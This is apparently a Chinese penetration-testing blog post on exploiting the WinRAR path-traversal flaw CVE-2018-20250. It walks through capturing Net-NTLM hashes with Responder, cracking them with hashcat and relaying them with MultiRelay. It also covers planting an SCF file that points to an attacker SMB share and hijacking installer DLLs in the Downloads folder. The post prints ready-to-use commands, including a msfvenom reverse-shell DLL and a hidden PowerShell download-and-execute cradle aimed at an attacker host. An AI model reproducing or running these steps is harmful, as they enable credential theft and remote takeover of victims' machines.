• 渗透测试-apt攻击与防御系列-利用WinRAR跨目录获取Net-NTLM Hash和DLL劫持


    致敬亮神-2019

    利用WinRAR跨目录获取Net-NTLM Hash和DLL劫持

    域控:Windows 2008 R2
    目标主机:Windows7*2

    漏洞利用

    1. 穿透目录释放文件到开机启动菜单
    2. 获取受害者的Net NTLM Hash
    3. 借助下载文件夹安装程序DLL劫持
    4. 投放恶意的 LNK 文件

    获取受害者的Net-NTLM Hash

    ⼯具:responder、hashcat
    https://github.com/lgandx/responder/
    https://hashcat.net/hashcat/

    ⼯作组⼯具:https://github.com/WyAtu/CVE-2018-20250
    把下⾯的target_filename中的IP地址改成攻击者的就可以了。

    # The archive filename you want 
    rar_filename = "test.rar" 
    # The evil file you want to run 
    evil_filename = "WinRAR.dll" 
    # The decompression path you want, such shown below 
    target_filename = r"C:\\\x.x.x.x\smb\SHFOLDER.dll" 
    # Other files to be displayed when the victim opens the winrar 
    # filename_list=[] 
    filename_list = ["hello.txt", "world.txt"]
    
    • 1
    • 2
    • 3
    • 4
    • 5
    • 6
    • 7
    • 8
    • 9

    查看配置⽂件 /usr/share/responder/Responder.conf ,检查SMB服务是否为On。

    使⽤的⽹卡是vboxnet0,需要root权限。通过使⽤参数-I指定⽹卡运⾏

     sudo responder -I vboxnet0 -wrfv --lm
    
    • 1

    在这里插入图片描述
    有主机通过SMB共享访问了我的Arch,并获取到了⽤⼾名和Net NTLM
    Hash。

    在这里插入图片描述
    获取到Net NTLM Hash之后

    使⽤HashCat来暴⼒破解

    就我的Intel 的破CPU都能跑1277.4 kH/s
    不过之前要安装OpenCL的库,如果是⽤显卡跑就更快了。

    把最后⼀个Hash复制出来
    在这里插入图片描述
    查看加密算法模块对应的编号,上⾯看到的是 NTLMv2 ,所以我们使⽤5600

     ~ hashcat --help|grep NTLM 
     5500 | NetNTLMv1 | Network Protocols 
     5500 | NetNTLMv1+ESS | Network Protocols 
     5600 | NetNTLMv2 | Network Protocols 
     1000 | NTLM | Operating Systems
    
    • 1
    • 2
    • 3
    • 4
    • 5

    在这里插入图片描述
    截图上⾯我标记出来的就是密码了,
    只要你的字典够强⼤,我的字典只有⼀万⾏,⼀秒都不⽤就跑完了。
    拿到密码就可以登录上去或者执⾏各种命令都是可以的。

    域控

    如果⽬标是域控就可以使⽤Hash中继来直接登录域内的主机。
    还是打开responder的配置⽂件,这次是把HTTP和SMB服务改成Off,
    因为等⼀下⽤到另⼀个⼯具的时候要监听445和80端⼝。

    ⼯具:MultiRelay.py,在responder的tool⽬录下。
    最好先切换到responder⽬录下,
    因为在获取到Windows的Shell的时候要使⽤MultiRelay⽬录⾥的⼯具。

     ~ cd /usr/share/responder/tools 
     sudo python2 ./MultiRelay.py -t 192.168.56.106 -u ALL
    
    • 1
    • 2

    -t后⾯接着是你想攻击主机的IP地址,
    -u是⽤⼾名,这⾥选择所有,就是ALL。

    再打开⼀个终端,执⾏

    ~ sudo responder -I vboxnet0 -wrfv --lm
    
    • 1

    现在只要域控访问了Arch监听的SMB服务,
    就可以获取域控的Net NTLM Hash,这样就可以登录域内的主机了,基本是指哪打哪。

    在这里插入图片描述
    拿到了主机权限,可以读取明⽂密码。
    但是这⾥上传到主机 的被⽕绒拦截了。
    在这里插入图片描述
    在这里插入图片描述

    释放SCF⽂件

    还有⼀种释放.scf⽂件获取⽬标的Net NTLM Hash的,
    释放到磁盘的根⽬录,只要打开我的电脑就会访问攻击 者的SMB服务,
    获取Hash⼀把梭。
    新建⼀个⽂本后缀改为.scf,把下⾯的内容复制进去,
    IP地址改为攻击者的。
    添加进压缩包,其实解压到能看到的地⽅都可以触发。

     [Shell] Command=2 
     IconFile=\\x.x.x.x\icon.ico 
     [Taskbar] Command=ToggleDesktop
    
    • 1
    • 2
    • 3

    当然还有desktop.ini、autorun.inf这些可以设置icon图标和设置⽂件夹的背景图⽚的,
    也可以使⽤file协议远程 加载攻击者的SMB服务

    借助下载⽂件夹安装程序DLL劫持

    因为WinRAR这个跨⽂件⽬录释放的漏洞本来就不怎么容易利⽤,
    ⽽且DLL劫持也需要知道别⼈电脑⾥有什么软件,
    还得知道别⼈装的软件哪⾥存在DLL劫持。这真的是难上加难了。所以下⾯的思路仅供脑补,会有很多很多假设。

    既然我们不知道⽬标主机上有什么软件,那就要找⼀个⽐较通⽤的DLL,然后发现很多安装包程序就存在很多DLL劫持漏洞,
    在测试时发现了阿⾥⼏个客⼾端都存在DLL劫持,
    甚⾄连我想安装的⽕绒杀毒软件也存在同样的问题。

    那我就推测是不是打包成安装包的⼯具有问题。
    下⾯是我测试安装包,存在DLL劫持的,我只是测试了⼏个,这么巧,这⼏个都存在DLL劫持。
    旺旺客⼾端的

    C:\Windows\system32\CRYPTBASE.dll 
    C:\Windows\system32\WindowsCodecs.dll 
    C:\Windows\system32\SspiCli.dll 
    C:\Windows\system32\dwmapi.dll 
    C:\Windows\system32\ntmarta.dll 
    C:\Windows\system32\dnsapi.DLL 
    C:\Windows\system32\iphlpapi.DLL 
    C:\Windows\system32\RASAPI32.dll 
    C:\Windows\system32\rtutils.dll 
    C:\Windows\system32\sensapi.dll 
    C:\Windows\system32\rasadhlp.dll 
    C:\Windows\system32\VERSION.dll
    
    • 1
    • 2
    • 3
    • 4
    • 5
    • 6
    • 7
    • 8
    • 9
    • 10
    • 11
    • 12

    千⽜客⼾端的

    C:\Windows\system32\CRYPTBASE.dll 
    C:\Windows\system32\SHFOLDER.DLL 
    C:\Windows\system32\ntmarta.dll 
    C:\Windows\system32\dwmapi.dll
    
    • 1
    • 2
    • 3
    • 4

    钉钉还有⽕绒也差不多和上⾯的⼀样,但是在测试时卡死了N次
    在测试了上⾯⼏个安装包后统计出来⼀个特点,
    你会发现DLL全部是⼤写字⺟的,⾮常的通⽤,SHFOLDER.DLL
    可以⽀持三个安装包的劫持效果。
    旺旺的可以使⽤RASAPI32.dll。 释放到下载⽬录的部分代码。

     # The archive filename you want 
     rar_filename = "test.rar" 
     # The evil file you want to run 
     evil_filename = "WinRAR.dll" 
     # The decompression path you want, such shown below 
     target_filename = r"C:\C:C:../Downloads\SHFOLDER.dll" 
     # Other files to be displayed when the victim opens the winrar 
     # filename_list=[] 
     filename_list = ["hello.txt", "world.txt"]
    
    • 1
    • 2
    • 3
    • 4
    • 5
    • 6
    • 7
    • 8
    • 9

    ⽽且这些安装包会在⼀个⽐较固定的⽬录,那就是下载⽂件夹。
    假设我利⽤WinRAR的跨⽬录释放了⼀个DLL到 了下载⽂件夹这个⽬录,
    然后⽤⼾从上⾯这些客⼾端的安装包官⽅⽹站下载的正常⽂件回来,下载完了直接点 击打开运⾏,这样就会加载我释放出来的DLL,达到攻击的⽬的。

    下⾯图⽚中是千⽜客⼾端的安装包加载下载⽬录中的DLL后打开了计算器,
    在模块列表中看到是加载了攻击者的DLL。

    在这里插入图片描述
    ⼯具:⼀个DLL⽂件。

     msfvenom -p windows/meterpreter/reverse_tcp LPORT=7788 LHOST=192.168.56.1 -a x86 -f dll >WinRAR.dll
    
    • 1

    MSF⽣成⼀个DLL
    有⼀个问题劫持了之后安装包不能正常运⾏,这是DLL的问题,⾃⼰写的应该就不会了。
    或者使⽤CobaltStrike⽣成的DLL可以正常安装,
    但是要做好进程迁移,因为安装包结束了,⼦进程也会跟着关 闭,这样就控制不了了

    投放LNK⽂件

    在CobaltStrike⾥使⽤PowerShell远程加载。

     C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe -nop -w hidden -c "IEX ((new-object net.webclient).downloadstring('http://192.168.56.109:80/a'))"
    
    • 1

    ⼀般弄⼀个常⻅的快捷键什么都会被杀毒软件拦截。

    参考

    https://github.com/incredibleindishell/Windows-AD-environment-related/tree/master/Responder
    https://osandamalith.com/2017/03/24/places-of-interest-in-stealing-netntlm-hashes/

  • 相关阅读:
    CentOS 编译安装 nginx
    [MQ] 交换机与队列的介绍
    MQTT 基础--MQTT 协议简介 :第 1 部分
    尚硅谷JAVA数据结构与算法--希尔排序
    STM32CubeMX教程29 USB_HOST - 使用FatFs文件系统读写U盘
    Windows ADK使用场景之一:应用程序兼容性工具。解决普通域用户执行软件时,提示要管理员账号与密码问题!
    如何利用React和Flutter构建跨平台移动应用
    LC15.三数之和、LC22括号生成
    特殊功能寄存器
    运维:k8s常用命令大全
  • 原文地址:https://blog.csdn.net/qq_33608000/article/details/126708238